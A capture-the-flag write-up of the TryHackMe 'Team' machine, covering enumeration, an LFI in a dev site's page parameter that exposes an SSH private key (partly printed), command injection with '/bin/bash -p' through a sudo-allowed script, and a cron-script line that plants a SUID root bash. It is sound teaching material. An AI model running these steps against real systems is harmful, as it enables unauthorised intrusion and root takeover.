Intro

THM: Team is supposed to be aimed at beginners but requires a lot of enumeration and persistence to get through to root. It can feel like there are a lot of rabbit holes getting started, but once we make it through a few rounds of content enumeration we’ll find a hint that leads us to a hidden PHP page where we can exploit an LFI vulnerability. We’ll use that to find FTP credentials and later an SSH key that we can use to get into the box. Finally we’ll escalate our privileges to root by exploiting a command injection vulnerability in a bash script and then adding a malicious command to script running on a cronjob as root.

Recon

We’ll start with a quick stealth scan of the top ports to quickly see what we’re dealing with.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ sudo nmap -Pn -T4 -sS -oA nmap_quick 10.10.167.238

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.05 seconds

FTP is definitely worth enumerating further, as is HTTP.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]                                                                
└─$ sudo rustscan -a 10.10.167.238 -- -sV -oA nmap_full -O

PORT   STATE SERVICE REASON         VERSION                                                                  
21/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3      
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)             
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))                                           
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port        
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete                            
Aggressive OS guesses: Crestron XPanel control system (90%), Linux 3.10 - 3.13 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 2
11 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 3.1 - 3.2 (86%)                            
No exact OS matches for host (test conditions non-ideal).                                                    
TCP/IP fingerprint:                                   
SCAN(V=7.91%E=4%D=7/24%OT=21%CT=%CU=%PV=Y%G=N%TM=62DD464C%P=x86_64-pc-linux-gnu)                             
SEQ(SP=FA%GCD=1%ISR=106%TI=Z%II=I%TS=A)
OPS(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11NW7%O6=M506ST11)                 
WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)                                                         
ECN(R=Y%DF=Y%TG=40%W=6903%O=M506NNSNW7%CC=Y%Q=)                                                              
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)                                                                     
T2(R=N)                                               
T3(R=N)                                                                                                      
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)         
U1(R=N)                                               
IE(R=Y%DFI=N%TG=40%CD=S)                              
                           
Uptime guess: 25.778 days (since Tue Jun 28 14:36:03 2022)                                                   
TCP Sequence Prediction: Difficulty=250 (Good luck!)                                                         
IP ID Sequence Generation: All zeros                                                                         
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We have a couple possible paths to explore. We’ll definitely want to search for exploits for vsftpd 3.0.3 and check if anonymous access is enabled as well.

A quick glance at the website on port 80 just shows the default Apache page, so let’s kick off a content scan in the background while we enumerate FTP.

┌──(brian㉿kali)-[/usr/share/wordlists/dirb]
└─$ searchsploit vsftpd
--------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                             |  Path
--------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption             | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)             | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)             | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                           | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution                                  | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                     | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service                                    | multiple/remote/49719.py
--------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ftp -v 10.10.167.238
Connected to 10.10.167.238.
220 (vsFTPd 3.0.3)
Name (10.10.167.238:brian): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Hmm.. we don’t want to launch a denial of service, anonymous access is not allowed, and after running content scans with 4 different wordlists (not shown here), no files or directories have shown up at all.

However if we view the source of the Apache page there is a clue.

<title>Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!</title>

So we need to add the target IP to our /etc/hosts file and point it to the team.thm domain.

Once we do that we are able to see a website:

Teams Page

We can scan this domain now and hope for more interesting findings this time.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 80 -u http://team.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt         

.htaccess               [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 273, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 305, Words: 20, Lines: 10]
images                  [Status: 301, Size: 305, Words: 20, Lines: 10]
robots.txt              [Status: 200, Size: 5, Words: 1, Lines: 2]
scripts                 [Status: 301, Size: 306, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 273, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 365 req/sec :: Duration: [0:01:00] :: Errors: 0 ::

There is a robots.txt file that just contains the value “dale”. Could be a username?

The /scripts directory could be interesting. Directory index pages appear to be disabled but we can try fuzzing that directory.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 100 -u http://team.thm/scripts/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.html,.txt      

script.txt              [Status: 200, Size: 597, Words: 52, Lines: 22]

We have a script a text file containing a bash script at /scripts/script.txt.

#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in

In the comment at the bottom we’re given another hint that there exists an old version of this script that contains FTP credentials. So we can fuzz with an extensions wordlist to find it.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 80 -u http://team.thm/scripts/scriptFUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt 

.txt                    [Status: 200, Size: 597, Words: 52, Lines: 22]
.old                    [Status: 200, Size: 466, Words: 27, Lines: 19]
.phps                   [Status: 403, Size: 273, Words: 20, Lines: 10]

We got a 200 response with the .old extension so we can curl -i http://team.thm/scripts/script.old to read it.

#!/bin/bash
read -p "Enter Username: " ftpuser
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

Now we can explore the FTP service with these credentials.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ftp -v team.thm
Connected to team.thm.
220 (vsFTPd 3.0.3)
Name (team.thm:brian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15  2021 workshare
226 Directory send OK.

ftp> cd workshare
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 1002     1002          269 Jan 15  2021 New_site.txt
226 Directory send OK.

ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
Dale
        I have started coding a new website in PHP for the team to use, this is currently under development. It can be
found at ".dev" within our domain.

Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.

Gyles 
226 Transfer complete.
269 bytes received in 0.00 secs (12.8269 MB/s)

We’ve found a message from Gyles to Dale with some good info. He notes there is a new PHP version of their site under development at “.dev” within their domain, so let’s try adding dev.team.thm to our /etc/hosts and see if we can access it.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ curl http://dev.team.thm/
<html>
 <head>
  <title>UNDER DEVELOPMENT</title>
 </head>
 <body>
  Site is being built<a href=script.php?page=teamshare.php </a>
<p>Place holder link to team share</p>
 </body>
</html>

It works! It’s a mostly blank page with a link to http://dev.team.thm/script.php?page=teamshare.php

We definitely want to test for a local file inclusion bug there by replacing the value of the page parameter to another file path.

LFI POC in Burp

And we have LFI!

Foothold

In the note to Dale, Gyles also instructed Dale to make a copy of his id_rsa file and place it in the relevant config file so let’s look around and see if we can find it and gain SSH access.

We can use an LFI wordlist to fuzz for readable files with ffuf (or your favorite fuzzer). To make the results more useful we can filter out any requests with a filesize of 167 bytes, which is the size of the response with an empty body.

We can also use the -replay-proxy parameter to send our results to Burp and examine any hits we find.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 100 -u http://dev.team.thm/script.php\?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 167 -replay-proxy http://127.0.0.1:8080 -c -ac

________________________________________________

 :: Method           : GET
 :: URL              : http://dev.team.thm/script.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: ReplayProxy      : http://127.0.0.1:8080
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 167,1
 :: Filter           : Response words: 1
 :: Filter           : Response lines: 2
________________________________________________

/etc/hosts.allow        [Status: 200, Size: 412, Words: 82, Lines: 12]
/proc/meminfo           [Status: 200, Size: 1308, Words: 465, Lines: 49]
/proc/modules           [Status: 200, Size: 4650, Words: 411, Lines: 84]
/etc/hosts              [Status: 200, Size: 185, Words: 19, Lines: 9]
/proc/ioports           [Status: 200, Size: 1007, Words: 193, Lines: 43]
/proc/swaps             [Status: 200, Size: 100, Words: 32, Lines: 4]
/proc/mounts            [Status: 200, Size: 2457, Words: 166, Lines: 35]
/proc/stat              [Status: 200, Size: 2138, Words: 991, Lines: 11]
/etc/passwd             [Status: 200, Size: 1698, Words: 10, Lines: 35]
/etc/hosts.deny         [Status: 200, Size: 712, Words: 128, Lines: 19]
/etc/issue              [Status: 200, Size: 25, Words: 5, Lines: 4]
/proc/cpuinfo           [Status: 200, Size: 901, Words: 114, Lines: 29]
/etc/crontab            [Status: 200, Size: 721, Words: 103, Lines: 16]
/proc/interrupts        [Status: 200, Size: 1774, Words: 697, Lines: 42]
/etc/apache2/apache2.conf [Status: 200, Size: 7313, Words: 944, Lines: 231]
/etc/resolv.conf        [Status: 200, Size: 736, Words: 97, Lines: 20]
/proc/version           [Status: 200, Size: 147, Words: 17, Lines: 3]
/proc/self/net/arp      [Status: 200, Size: 157, Words: 79, Lines: 4]
/var/log/dpkg.log       [Status: 200, Size: 364050, Words: 26592, Lines: 5333]
/etc/profile            [Status: 200, Size: 582, Words: 145, Lines: 29]
/etc/lsb-release        [Status: 200, Size: 104, Words: 3, Lines: 6]
/etc/network/interfaces [Status: 200, Size: 91, Words: 13, Lines: 6]
/etc/fstab              [Status: 200, Size: 424, Words: 62, Lines: 11]
/etc/mtab               [Status: 200, Size: 2457, Words: 166, Lines: 35]
/var/log/lastlog        [Status: 200, Size: 292877, Words: 4, Lines: 6]
/etc/passwd             [Status: 200, Size: 1698, Words: 10, Lines: 35]
/etc/networks           [Status: 200, Size: 92, Words: 11, Lines: 4]
/etc/ssh/sshd_config    [Status: 200, Size: 5990, Words: 303, Lines: 170]
/etc/vsftpd.conf        [Status: 200, Size: 5937, Words: 806, Lines: 161]
/etc/ssh/ssh_config     [Status: 200, Size: 1581, Words: 248, Lines: 53]
:: Progress: [257/257] :: Job [1/1] :: 133 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

There’s lots to look through here but /etc/ssh/sshd_config is the jackpot. At the very bottom it contains Dale’s private SSH key.

#	$OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

...snipped...

#Dale id_rsa
#-----BEGIN OPENSSH PRIVATE KEY-----
#b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
#NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
#NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
#oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
...REDACTED...
#2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
#8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
#b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
#CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
#-----END OPENSSH PRIVATE KEY-----

We can copy that key and paste it into a new file via vim. Then we’ll need to hit : to enter vim’s command mode and run %s/\#//g to strip out all of the hash symbols. After that we just need to update the permissions on the file with chmod 400 dale_id_rsa and then we can connect.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ssh -i dale_id_rsa dale@team.thm
Last login: Sun Jul 24 18:41:46 2022 from 10.13.17.127

dale@TEAM:~$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)

dale@TEAM:~$ ls -al
total 44
drwxr-xr-x 6 dale dale 4096 Jan 15  2021 .
drwxr-xr-x 5 root root 4096 Jan 15  2021 ..
-rw------- 1 dale dale 2554 Jul 24 18:43 .bash_history
-rw-r--r-- 1 dale dale  220 Jan 15  2021 .bash_logout
-rw-r--r-- 1 dale dale 3771 Jan 15  2021 .bashrc
drwx------ 2 dale dale 4096 Jan 15  2021 .cache
drwx------ 3 dale dale 4096 Jan 15  2021 .gnupg
drwxrwxr-x 3 dale dale 4096 Jan 15  2021 .local
-rw-r--r-- 1 dale dale  807 Jan 15  2021 .profile
drwx------ 2 dale dale 4096 Jan 15  2021 .ssh
-rw-r--r-- 1 dale dale    0 Jan 15  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 dale dale   17 Jan 15  2021 user.txt

dale@TEAM:~$ wc -c user.txt 
17 user.txt

🏁 And we’ve captured the user flag!

Privilege Escalation

A quick sudo check shows there is a script or binary in Gyles’ home directory named admin_checks that we can run with sudo privileges as gyles.

dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks

Since we have permission to read the file we can open it up and see what exactly it does.

#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"

So it is backing up a stats file. The interesting part here is $error 2>/dev/null.

The script is taking input from the user and executing it directly. We can abuse this to get a shell as Gyles by entering /bin/bash -p when it asks for the date.

dale@TEAM:/home/gyles$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: dale
Enter 'date' to timestamp the file: /bin/bash -p
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)

There is no prompt but we are in a shell as gyles. We can run python3 -c 'import pty;pty.spawn("/bin/bash")' to get a better shell with a prompt.

From running id as gyles we can see he is a member of the admin group, so let’s search for files and directories they own.

gyles@TEAM:~$ find / -group admin 2>/dev/null
/usr/local/bin
/usr/local/bin/main_backup.sh
/opt/admin_stuff

In /opt/admin_stuff there is a script.sh owned by root with a comment noting it runs as a cronjob every minute.

#!/bin/bash
#I have set a cronjob to run this script every minute

dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site

This script’s group is also root, so we won’t be able to edit it. But let’s take a look at the other scripts it executes.

gyles@TEAM:/opt/admin_stuff$ cd /usr/local/bin/
gyles@TEAM:/usr/local/bin$ ls -la
total 12
drwxrwxr-x  2 root admin 4096 Jan 17  2021 .
drwxr-xr-x 10 root root  4096 Jan 15  2021 ..
-rwxrwxr-x  1 root admin   65 Jan 17  2021 main_backup.sh

Aha! The main_backup.sh belongs to the admin group and the group has write permissions, so we can add some malicious code here that will get executed by root.

gyles@TEAM:/usr/local/bin$ echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> main_backup.sh

This command will make a copy of the bash binary and set the SUID bit so that when it is run, it will run with the privileges of its owner which is root. Now we just have to wait a minute for the cronjob to run again.

gyles@TEAM:/tmp$ ./bash -p
bash-4.4# id
uid=1001(gyles) gid=1001(gyles) euid=0(root) groups=1001(gyles),1003(editors),1004(admin)
bash-4.4# cd /root
bash-4.4# wc -c root.txt
18 root.txt